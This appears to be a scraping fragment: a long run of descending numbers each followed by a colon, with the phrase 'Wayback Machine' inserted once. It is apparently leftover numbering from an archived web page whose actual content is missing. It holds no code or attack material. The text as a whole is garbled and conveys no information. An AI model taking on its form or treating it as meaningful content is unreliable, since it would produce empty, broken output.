4604: 4600: 4563: 4562: 4558: 4549: 4548: 4544: 4515: 4514: 4510: 4481: 4480: 4476: 4447: 4446: 4442: 4432: 4430: 4420: 4419: 4415: 4405: 4403: 4390: 4389: 4385: 4372: 4371: 4367: 4339: 4338: 4331: 4326: 4322: 4288: 4287: 4283: 4278:Wayback Machine 4268: 4264: 4246: 4245: 4241: 4231: 4229: 4220: 4219: 4215: 4205: 4203: 4191: 4190: 4186: 4168: 4167: 4163: 4153: 4151: 4137: 4136: 4132: 4122: 4120: 4110: 4109: 4105: 4095: 4093: 4080: 4079: 4075: 4065: 4063: 4054: 4053: 4049: 4039: 4037: 4029: 4028: 4024: 4014: 4012: 4004: 4003: 3999: 3990: 3989: 3985: 3975: 3974: 3970: 3960: 3958: 3950: 3949: 3945: 3935: 3933: 3924: 3923: 3919: 3909: 3907: 3893: 3892: 3888: 3878: 3876: 3863: 3862: 3858: 3822: 3821: 3817: 3808: 3806: 3804: 3779: 3778: 3774: 3730: 3729: 3725: 3715: 3713: 3700: 3699: 3695: 3678: 3677: 3673: 3663: 3661: 3653: 3652: 3648: 3638: 3636: 3622: 3621: 3617: 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